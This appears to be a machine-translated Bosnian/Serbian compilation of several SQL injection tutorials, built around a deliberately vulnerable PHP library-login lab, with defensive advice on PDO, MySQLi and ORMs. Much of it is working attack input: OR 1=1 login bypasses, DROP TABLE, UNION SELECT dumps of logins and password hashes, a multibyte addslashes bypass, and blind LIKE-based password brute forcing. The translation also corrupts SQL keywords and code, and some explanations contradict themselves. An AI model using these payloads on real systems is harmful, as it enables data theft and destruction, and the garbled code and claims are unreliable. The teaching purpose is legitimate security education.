SQl injekcija je tehnika u kojoj napadač unosi SQL komande u polje za unos na web stranici. Ovaj imput može biti bilo šta - tekstualno polje u formi, _GET i _POST parametri, kolačići, itd. Ova metoda je bila vrlo efikasna prije pojave okvira u PHP svijetu. Ali ovaj hak i dalje može biti opasan ako ne koristite ORM ili bilo koje druge ekstenzije za objekt podataka. Zašto? Zbog načina na koji se parametri prosljeđuju u SQL upit.

"Slijepe" injekcije

Počnimo s klasičnim primjerom SQL naredbe koja vraća korisnika pomoću njegove login i lozinke hash (stranica za prijavu)

Primjer 1

mysql_query("SELECT id, login FROM users WHERE login = ? i password = hash(?)");

Stavio sam upitnike u izraz zbog različitih varijacija ovog rješenja. Prva opcija je, po mom mišljenju, najranjivija:

Primjer 1a

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

U ovom slučaju, kod ne provjerava nevažeće unose podataka. Vrijednosti se prosljeđuju direktno iz obrasca za unos u SQL upit. U najboljem slučaju, korisnik će ovdje unijeti svoje korisničko ime i lozinku. Koji je najgori scenario? Pokušajmo hakovati ovaj obrazac. To se može učiniti prosljeđivanjem "pripremljenih" podataka. Pokušajmo se prijaviti kao prvi korisnik iz baze podataka, a u većini slučajeva ovo je administratorski nalog. Da bismo to učinili, proslijedit ćemo poseban niz umjesto unosa podataka za prijavu:

" ILI 1=1; --

Prvi navod također može biti jedan navodnik, tako da jedan pokušaj hakovanja možda neće biti dovoljan. Na kraju se nalazi tačka-zarez i dve crtice tako da se sve što dolazi posle pretvara u komentar. Kao rezultat, izvršit će se sljedeći SQL upit:

SELECT id, login FROM users WHERE login = “;” ILI 1=1 GRANICA 0,1; - i lozinka = hash(“;Neka lozinka”)

Vratit će prvog korisnika iz baze podataka i eventualno se prijaviti u aplikaciju kao taj korisnik. Dobar potez bi bio da dodate LIMIT za prijavu kao svaki pojedinačni korisnik. Ovo je jedina stvar koja je potrebna da se prođe kroz svaku vrijednost.

Ozbiljniji načini

U prethodnom primjeru nije sve tako strašno. Opcije na kontrolnoj tabli administratora su uvijek ograničene i bilo bi potrebno puno posla da se stranica stvarno razbije. Ali napad putem SQL injekcije može dovesti do mnogo veće štete na sistemu. Razmislite o tome koliko se aplikacija kreira sa glavnom tablicom "korisnici" i šta bi se dogodilo da napadač unese ovakav kod u nezaštićeni obrazac:

Moja omiljena prijava"; DROP TABLE korisnika; --

Tabela "korisnici" će biti izbrisana. Ovo je jedan od razloga da se sigurnosne kopije baze podataka češće prave.

_GET parametre

Svi parametri popunjeni putem obrasca se prenose na server na jedan od dva načina - GET ili POST. Najčešći parametar koji se prosljeđuje putem GET-a je id. Ovo je jedno od najranjivijih mjesta za napade, i nije bitno koju vrstu URL-a koristite - ` http://example.com/ korisnici/?id=1` ili ` http://example.com/ korisnici/1`, ili ` http://....../.../ pošta/35 `.

Šta će se dogoditi ako u URL ubacimo sljedeći kod?

Http://example.com/users/?id=1 I 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Vjerovatno će takav zahtjev vratiti korisničko ime i... heš njegove lozinke. Prvi dio zahtjeva `AND 1=0` pretvara ono što mu prethodi u lažno, tako da neće biti primljeni zapisi. A drugi dio zahtjeva će vratiti podatke u obliku pripremljenih podataka. A pošto je prvi parametar id, sljedeći će biti korisnički login i hash njegove lozinke i još neki parametri. Postoji mnogo programa koji koriste grubu silu za dekodiranje lozinke poput one u primjeru. A pošto korisnik može koristiti istu lozinku za različite usluge, moguće je dobiti pristup njima.

I evo što je zanimljivo: potpuno je nemoguće odbraniti se od ove vrste napada korištenjem metoda kao što su `mysql_real_escape_string`, `addslashes`, itd. d. U osnovi, ne postoji način da se izbjegne takav napad, pa ako se parametri proslijede ovako:

"ODABIR ID, prijavu, email, param1 FROM korisnika WHERE id = " . addslashes($_GET["id"]);"

problemi neće nestati.

Izlazni znakovi u nizu

Kada sam bio nov u programiranju, teško sam radio sa kodiranjem. Nisam razumio u čemu je razlika između njih, zašto koristiti UTF-8 kada vam treba UTF-16, zašto baza podataka uvijek postavlja kodiranje na latin1. Kada sam konačno počeo da razumijem sve ovo, otkrio sam da bi bilo manje problema da sve držim u jednom standardu kodiranja. Dok sam sortirao sve ovo, primijetio sam i sigurnosne probleme koji se javljaju prilikom konverzije iz jednog kodiranja u drugi.

Problemi opisani u većini prethodnih primjera mogu se izbjeći korištenjem pojedinačnih navodnika u upitima. Ako koristite addslashes() , napadi SQL injekcije koji se oslanjaju na jednostruke navodnike izbjegnute obrnutom kosom crtom neće uspjeti. Ali takav napad može funkcionirati ako jednostavno zamijenite znak sa kodom 0xbf27, addslashes() ga konvertuje u znak sa kodom 0xbf5c27 - a ovo je potpuno važeći znak jednostrukog navodnika. Drugim riječima, `뼧` će proći kroz addslashes(), a zatim će ga MySQL mapiranje pretvoriti u dva znaka 0xbf (¿) i 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Ovaj primjer se može hakirati dodavanjem 뼧 ili 1=1; -- u polju za prijavu u obrascu. SQL mašina će generisati konačni upit ovako:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

I vratit će prvog korisnika iz baze podataka.

Zaštita

Kako zaštititi aplikaciju? Postoji mnogo metoda čija upotreba neće učiniti aplikaciju potpuno neranjivom, ali će barem povećati njenu sigurnost.

Korištenje mysql_real_escape_string

Addslashes() funkcija je nepouzdana jer ne dozvoljava mnogo slučajeva hakovanja. mysql_real_escape_string nema takvih problema

Korištenje MySQLi

Ova MySQL ekstenzija može raditi sa povezanim parametrima:

$stmt = $db->prepare("update uets set parameter = ? gdje je id = ?"); $stmt->bind_param("si", $name, $id); $stmt->izvrši();

Korištenje PDO

Dug put do zamjene parametara:

$dbh = novi PDO("mysql:dbname=testdb;host=127.0.0.1", $korisnik, $lozinka); $stmt = $dbh->prepare("UMETNI U REGISTAR (ime, vrijednost) VRIJEDNOSTI (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // ubaciti jedan red $name = "jedan"; $value = 1; $stmt->izvrši();

Kratki put:

$dbh = novi PDO("mysql:dbname=testdb;host=127.0.0.1", $korisnik, $lozinka); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Koristeći ORM

Koristite ORM i PDO i vežite (koristite bind) parametre. Izbjegavajte SQL u svom kodu, ako vidite SQL u svom kodu onda nešto nije u redu s njim.

ORM će se pobrinuti za sigurnost u uskim grlima u validaciji koda i parametara.

zaključci

Svrha ove serije nije da pruži potpuni vodič za hakiranje web stranica, već da osigura sigurnost aplikacija i spriječi napade iz bilo kojeg izvora. Pokušao sam da napišem ovaj članak ne samo za programere – oni bi trebali biti svjesni bilo kakvih prijetnji u kodu i znati kako ih spriječiti, već i za kvalitetne inženjere – jer njihov posao je da prate i prijavljuju takve probleme.

Suština SQL injekcija

Verovatno ste već čuli vic sa interneta: “ Zašto je isto u svim časovima crtanja: Na primjer, lekcija o crtanju sove. Prvo pola sata detaljno crtamo oko sove. A onda - jednom - u pet minuta - nacrtamo ostatak sove».

Ima čak i slika o tome:

Postoji mnogo materijala o SQL injekcijama: članci, knjige, video kursevi (plaćeni i besplatni). Međutim, malo njih dodaje razumijevanje po ovom pitanju. Pogotovo ako ste početnik. Dobro se sećam svojih osećanja: evo kruga, evo ostataka sove...

Svrha ove napomene je da povuče oko na sovu da da normalno, jednostavno objašnjenje, šta su SQL injekcije, koja je njihova suština, koliko su opasne i zašto.

Za eksperimente ćemo imati vrlo jednostavnu skriptu koja je ranjiva na SQL injekciju:

Za pristup regionalnoj biblioteci Bobruisk, unesite svoje akreditive:

Unesite svoje ime

Unesite svoju lozinku


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "ime"); $password = filter_input(INPUT_GET, "lozinka"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ( while ($obj = $result->fetch_object()) ( echo "

Tvoje ime:$obj->name

Vaš status:$obj->status

Knjige dostupne za vas:$obj->knjige


"; ) ) else ( printf("Greška: %sn", $mysqli->error); ) $mysqli->close(); ?>

Shvatićeš mnogo više ako uradiš sve sa mnom. Evo ga. Sadrži dva fajla: index.php I db_library.sql. Postavite datoteku index.php bilo gdje na serveru - ovo je naša ranjiva skripta. I datoteku db_library.sql treba uvesti, na primjer, koristeći phpMyAdmin.

U datoteci index.php, korisničko ime baze podataka je postavljeno na root, a lozinka je prazna. Vaše podatke možete unijeti uređivanjem linije:

$mysqli = novi mysqli("localhost", "root", "", "db_library");

Prema legendi, ovo je obrazac za prijavu na internetsku verziju regionalne biblioteke Bobruisk. Već smo dobili akreditive: korisničko ime - Demo, lozinka - 111.

Uđimo u njih i vidimo:

Naši akreditivi su prihvaćeni, naše ime, status i knjige koje su nam dostupne su prikazani na ekranima. Možete pokušati, sa bilo kojim drugim podacima (ako promijenite svoje ime ili lozinku), nećemo se moći prijaviti i pregledati knjige dostupne za čitanje. Također nemamo načina da saznamo koje su knjige dostupne drugima jer ne znamo njihovo korisničko ime i lozinku.

Pogledajmo izvorni kod da shvatimo kako je došlo do zahtjeva baze podataka:
Riječ SELECT u SQL upitu pokazuje koje podatke treba dohvatiti. Na primjer, možete odrediti SELECT ime, ili SELECT ime, lozinku. Tada bi se u prvom slučaju iz tabele dobilo samo ime, au drugom samo ime i lozinka. Zvjezdica kaže da trebate dobiti sve vrijednosti. One. SELECT * - ovo znači dobiti sve vrijednosti.

OD govori odakle ih trebate nabaviti. Iza FROM slijedi naziv tabele, tj. FROM `members` unos kaže get from the `members` table.

Dalje GDJE, ako ste proučavali bilo koji programski jezik, onda ova riječ najviše liči na „Ako“. I onda postoje uslovi, ti uslovi mogu biti tačni (1) ili netačni (0). U našem slučaju

(ime = ‘$name’) I (lozinka = ‘$lozinka’)

znači da će uvjet biti istinit ako je proslijeđena varijabla $name jednaka vrijednosti polja imena u tabeli, a proslijeđena varijabla '$password je jednaka vrijednosti polja lozinke u tabeli. Ako barem jedan uslov nije ispunjen (netačno korisničko ime ili lozinka), onda se ništa neće uzeti iz tabele, tj. izraz SELECT * FROM `members` GDJE ime = '$name' I lozinka ='$password' znači: u tablici `members`, uzmite vrijednosti svih polja ako je za njih ispunjen uvjet - proslijeđeno korisničko ime i lozinka odgovaraju onima koji se nalaze u tabeli.

To je jasno. Hajdemo sada, na primjer, ubaciti jedan navodnik sa korisničkim imenom:

Adresna traka:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Podaci nisu primljeni, umjesto toga vidimo grešku:
Kada smo uneli tačne podatke, naš zahtev je izgledao ovako:
Dodavanjem ponude naš upit postaje:
Stavio sam dodatne razmake radi jasnoće, tj. dobijamo zahtjev
Usput, zahtjev je ispravan u sintaksi. I odmah nakon toga, bez ikakvih separatora, zahtjev se nastavlja:

"I lozinka="111"

To je ono što sve lomi, jer broj početnih i završnih citata nije jednak. Možete, na primjer, umetnuti drugi citat:
Adresna traka:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Greška je nestala, ali to nije dodalo nikakvo značenje zahtjevu. Muči nas besmisleni rep zahtjeva. Kako ga se možemo riješiti?

Postoji odgovor - ovo su komentari.

Komentari u MySQL-u se mogu specificirati na tri načina:

  1. # (hash - radi do kraja reda)
  2. - (dvije crtice - radite do kraja reda, potreban vam je razmak nakon dvije crtice)
  3. /* ovo je komentar */ grupa od četiri karaktera - sve unutra je komentar, sve prije ili poslije ove grupe znakova se ne smatra komentarom.
Stavimo komentar u naš upit sa jednim citatom, nakon ovog citata stavljamo znak za komentar da odbacimo rep i znak +, koji označava razmak, tako da upit ispadne ovako:
Adresna traka:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Ne samo da je greška nestala, već su prikazani tačni podaci za Demo korisnika. Od sada je naš zahtjev poprimio formu
na kraju krajeva, konjski rep -+ ‘ I lozinka =’111’ pretvorio u komentar i više ne utiče na zahtjev.

Pogledajte još jednom novi zahtjev:
I više ne provjerava lozinku! One. Poznavajući imena legitimnih korisnika, ali ne znajući njihove lozinke, možemo vidjeti njihove lične podatke. One. Već smo počeli da iskorištavamo SQL injekciju.

Nažalost, ne znam za legitimna imena i moram smisliti nešto drugo.

Pogledajmo detaljnije ovaj dio zahtjeva:
Sjećate li se AND koji se koristi u prvom upitu? To je skraćenica za logički I rad. Dozvolite mi da vas podsjetim da logička operacija “AND” proizvodi “true” (1) samo ako su oba izraza tačna. Ali logički operator "OR" proizvodi "tačno" (1) čak i ako je barem jedan od izraza tačan. One. izraz
uvijek će biti istinito uvijek će vraćati 1. Zato što će jedan od dva izraza koji se porede uvijek vraćati 1.

One. moramo napraviti izraz koji izgleda ovako:
Adresna traka:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ ILI 1 -+ &password=111

rezultat:

Rezultat je odličan! Dobili smo listu svih zapisa u tabeli.

ORDER BY i UNION su glavni prijatelji SQL injekcija

Već smo dobili podatke koji su bili nedostupni onima koji nisu imali važeće korisničko ime i lozinku. Mogu li još nešto nabaviti? Da, možete dobiti potpuni dump ove tabele (da vas podsjetim, još uvijek nemamo lozinke. Štaviše, možemo dobiti sve podatke iz svih baza podataka na ovom serveru kroz jednu malu rupu!

UNION omogućava vam da kombinujete SQL upite. U stvarnom životu, moji zadaci su jednostavni, a samim tim i jednostavni upiti prema bazama podataka i mogućnostima UNION Ne koristim ga. Ali za SQL injekcije ne postoji vrednija reč od ove.

UNION omogućava vam da prilično fleksibilno kombinirate SQL upite sa SELECT, uključujući iz različitih baza podataka. Ali postoji važan sintaktički zahtjev: broj stupaca u prvom SELECT mora biti jednak broju stupaca u drugom SELECT.

POREDAK PO postavlja sortiranje podataka primljenih iz tabele. Možete sortirati po imenu kolone ili po broju. Štaviše, ako ne postoji kolona s ovim brojem, prikazat će se greška:

Adresna traka:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

Zahtjev izgleda ovako:
Zamijenili smo korisničko ime sa -1 tako da se podaci ne prikazuju.

Nema greške, nema greške ni sa zahtjevima
I evo zahtjeva
odgovara adresnoj traci

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

Imam grešku

To znači da se podaci biraju iz tabele u pet kolona.

Konstruišemo naš upit sa UNION:

Kao što sam rekao, broj polja bi trebao biti isti u oba SELECT-a, ali ono što se nalazi u ovim poljima nije mnogo važno. Možete, na primjer, jednostavno unijeti brojeve - i to su oni koji će se prikazati. Možete unijeti NULL - tada se ništa neće prikazati umjesto polja.
Adresna traka:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Drugi način da pronađete broj kolona je korištenje istog UNION-a. Koristeći ljestve dodajemo broj kolona:
Svi će proizvesti istu grešku:

Radite to dok poruka o grešci ne nestane.

Imajte na umu da je sadržaj nekih UNION SELECT 1,2,3,4,5 polja prikazan na ekranu. Umjesto brojeva, možete odrediti funkcije.

Šta napisati u SELECT

Postoje neke funkcije koje se mogu napisati direktno u UNION:

  • BAZA PODATAKA()- prikazuje naziv trenutne baze podataka
  • TRENUTNI KORISNIK()- prikazuje korisničko ime i ime hosta
  • @@datadir- prikazuje apsolutnu putanju do baze podataka
  • KORISNIK()- Korisničko ime
  • VERZIJA()- verzija baze podataka
U našem primjeru su prikazana polja 2, 4 i 5. Tj. možemo koristiti bilo koje od ovih polja.

Korištenje DATABASE() u UNION SELECT

Adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

rezultat:

Dobivanje imena tablica, polja i dumpa baze podataka

U bazi podataka information_schema postoji tabela koja se zove stolovi. Ova tabela sadrži listu svih tabela koje su prisutne u svim bazama podataka na ovom serveru. Naše tablice možemo odabrati pretraživanjem u polju table_schema Ime naše baze podataka je 'db_library' (ime smo pronašli pomoću DATABASE()).

Ovo se zove potpuna UNION tehnika. Ima dosta materijala o tome na internetu. Na mom MySQL serveru, tehnika pune UNION ne radi. Dobijam grešku
Ne radi zbog zakrivljenosti krakova, jer ni ova tehnika ne daje rezultate za sqlmap:

Nešto je pošlo po zlu s potpunom UNION tehnikom (može biti zbog ograničenja broja preuzetih unosa). Povratak na tehniku ​​djelomične UNION

Ovo može biti zbog MySQL verzije 5.6. Jer Ne mogu navesti praktične primjere, a ne zanima me prepisivanje tuđih pokvarenih komandi - sada i bez mene na internetu ima "velikih teoretičara" koliko hoćete, pa sam odlučio da odmah pređem na s obzirom na tehniku ​​parcijalne UNION. Ali ovo nije najjednostavnija tehnika, a članak je već prilično dugačak.

U sljedećem dijelu članka proučavat ćemo parcijalnu UNION tehniku, uz nju ćemo dobiti sve podatke na serveru: nazive baza podataka, nazive njihovih tabela i polja u tim tabelama, kao i njihov sadržaj . Dok čekate da se pojavi drugi dio, vježbajte, čitajte o SQL injekcijama i UNION tehnici; za čitanje se preporučuju i sljedeći članci:

P.S. o, da, zaboravio sam na LIMIT. Sljedeći put ću također govoriti o ulozi LIMIT-a u SQL injekcijama.

SQL injekcije – ugrađivanje zlonamjernog koda u upite baze podataka – su najopasniji tip napada. Koristeći SQL injekcije, napadač može ne samo da dobije privatne informacije iz baze podataka, već i, pod određenim uslovima, da u njoj izvrši promene.

Ranjivost SQL injekcije se javlja zato što su korisničke informacije uključene u upit baze podataka bez odgovarajuće obrade: kako bi se osiguralo da skripta nije ranjiva, potrebno je osigurati da svi korisnički podaci završe u svim upitima baze podataka u escaped obliku. Zahtjev univerzalnosti je kamen temeljac: kršenje učinjeno u jednoj skripti čini cijeli sistem ranjivim.

Primjer ranjivosti

Pretpostavimo da postoji skripta koja prikazuje listu korisnika iz datog grada, uzimajući id grada kao GET parametar. Skripti će se pristupiti putem HTTP-a na /users.php?cityid=20

U gornjoj skripti, programer ubacuje GET parametar u SQL upit, što implicira da će GET parametar uvijek sadržavati broj. Napadač može proslediti string kao parametar i na taj način pokvariti zahtev. Na primjer, pristupit će skripti kao /users.php?cityid=20; IZBRIŠI * IZ korisnika
SQL upit će izgledati ovako:

Zahtjev će biti izvršen, a skripta će vratiti ne samo korisnike iz navedenog grada, već i listu svih korisnika čija će lozinka biti prikazana umjesto njihovog pravog imena.

Kako se zaštititi?

Stavimo podatke o korisniku u jednostrukim navodnicima. Hoće li ovo pomoći?

Iz gornjeg primjera možete vidjeti da stavljanje pojedinačnih navodnika nije dovoljno. Također morate izbjeći sve navodnike sadržane u nizu. Da bi to uradio, PHP obezbeđuje funkciju mysql_real_escape_string(), koja dodaje obrnutu kosu crtu ispred svakog navodnika, povratnog navodnika i nekih drugih specijalnih znakova. Pogledajmo kod:

Dakle, radi zaštite od SQL injekcija, svi vanjski parametri koji mogu sadržavati tekst moraju se obraditi pomoću mysql_real_escape_string() i nalaze se u jednostrukim navodnicima.

Ako znate da bi parametar trebao imati numeričku vrijednost, može se eksplicitno pretvoriti u numerički oblik pomoću funkcije inval() ili floatval(). U ovom primjeru mogli bismo koristiti:

$sql = "ODABIR korisničko ime, pravo ime
OD korisnika
WHERE cityid=""
.intval ( $_GET ["cityid" ] ) .""" ;

Razlike između mysql_real_escape_string() i mysql_escape_string()

mysql_real_escape_string() je poboljšana verzija funkcije mysql_escape_string(), koja se široko koristi za generiranje sigurnih upita za MySQL bazu podataka. Razlika između ove dvije funkcije je u tome što mysql_real_escape_string() radi ispravno s višebajtnim kodiranjem.

Pretpostavimo da postoji znak u podacima koji se obrađuju (recimo, u UTF-8), čiji se kod sastoji od dva bajta - heksadecimala 27 i 2B (decimala 39 i 43, respektivno). mysql_escape_string() tretira svaki bajt podataka koji su mu proslijeđeni kao poseban znak (tačnije, kao kod posebnog znaka) i odlučuje da su niz bajtova 27 i 2B dva različita znaka: jedan navodnik (") i plus (+). Budući da funkcija prihvata citat kao poseban znak, kosa crta (\) će biti dodata ispred bajta sa kodom 27, koji je zapravo dio nekog bezopasnog znaka. Kao rezultat, podaci će biti poslani na baza podataka u iskrivljenom obliku.

Vrijedi napomenuti da mysql_real_escape_string() radi ispravno u svim slučajevima i može u potpunosti zamijeniti mysql_escape_string().

mysql_real_escape_string() je dostupan u PHP-u od verzije 4.3.0.

Dodatni primjeri

Pogledali smo najjednostavniji primjer, ali u praksi ranjivi upit može biti složeniji i neće prikazati svoje rezultate korisniku. Zatim ćemo razmotriti primjere SQL injekcija u nekim složenijim slučajevima, bez zahtjeva za potpunost.

Injekcija u složenim upitima

U najjednostavnijem primjeru, bilo je moguće ugraditi kod na kraj SQL upita. U praksi, na kraju SQL upita mogu postojati dodatni uslovi, operatori sortiranja, grupisanja i druge SQL konstrukcije. U svakom konkretnom slučaju, napadač će pokušati da ugradi maliciozni dio na takav način da zahtjev kao cjelina ostane sintaktički ispravan, ali obavlja drugu funkciju. Ovdje ćemo pogledati najjednostavniji primjer ranjivog zahtjeva s dodatnim uvjetom.

Kao rezultat, stanje starosti<35 neće uticati na uzorak, jer Operator OR ima niži prioritet od operatora AND, a WHERE iz gornjeg upita može se napisati drugačije kao WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (zapamtite da je izraz WHERE 1 uvijek tačan). Kao rezultat, i oni redovi sa cityid="20" i oni sa godinama će odgovarati uslovu<35, причем наличие последних не обязательно.

Za složene upite, uspješne SQL injekcije zahtijevaju malo kreativnosti, ali se može očekivati ​​da će napadači imati nešto.

Rezultati upita se ne prikazuju korisniku

Može biti da je upit čiji se rezultati ne prikazuju korisniku ranjiv. Ovo može biti, na primjer, pomoćni upit:

$sql = "ODABIR broja (*)
OD korisnika
WHERE userid=""
.$_GET [ "userid" ] .""" ;

Gornji upit samo provjerava prisutnost korisnika sa datim korisničkim ID-om: ako vrati bilo koju vrijednost različitu od nule, prikazuje se korisnički profil s odgovarajućim ID-om korisnika, ali ako se vrati 0 (to jest, nema korisnika koji zadovoljavaju kriterij zahtjeva), prikazuje se poruka “korisnik nije pronađen”.

U ovom slučaju, lozinka (ili druge informacije) se određuju grubom silom. Napadač prosljeđuje string kao korisnički ID parametar 2" I lozinka KAO "a%. Konačni zahtjev:

SELECT count (*) FROM users WHERE userid="2" I lozinka KAO "a%"

Napadač će dobiti "korisnik nije pronađen" ako lozinka ne počinje slovom "a", ili standardnom stranom korisničkog profila, u suprotnom. Prvo slovo lozinke određuje se grubom silom, zatim drugo, itd.

zaključci

  • Svi upiti koji koriste eksterne podatke moraju biti zaštićeni od SQL injekcija. Eksterni podaci se mogu prenositi ne samo kao GET parametri, već i POST metodom, preuzetim iz COOKIE-a, sa stranica trećih strana ili iz baze podataka u koju je korisnik imao priliku da unese informacije.
  • Sve numeričke parametre treba eksplicitno pretvoriti u numerički oblik pomoću funkcija inval() I floatval()
  • Svi parametri niza trebaju biti escaped with mysql_real_escape_string() i stavi pod navodnike.
  • Ako je konstruisanje SQL injekcije teško, ne biste trebali očekivati ​​da napadač neće shvatiti kako to učiniti. Ovo se posebno odnosi na mašine čiji je izvorni kod javan.

Sretno u izgradnji sigurnih aplikacija!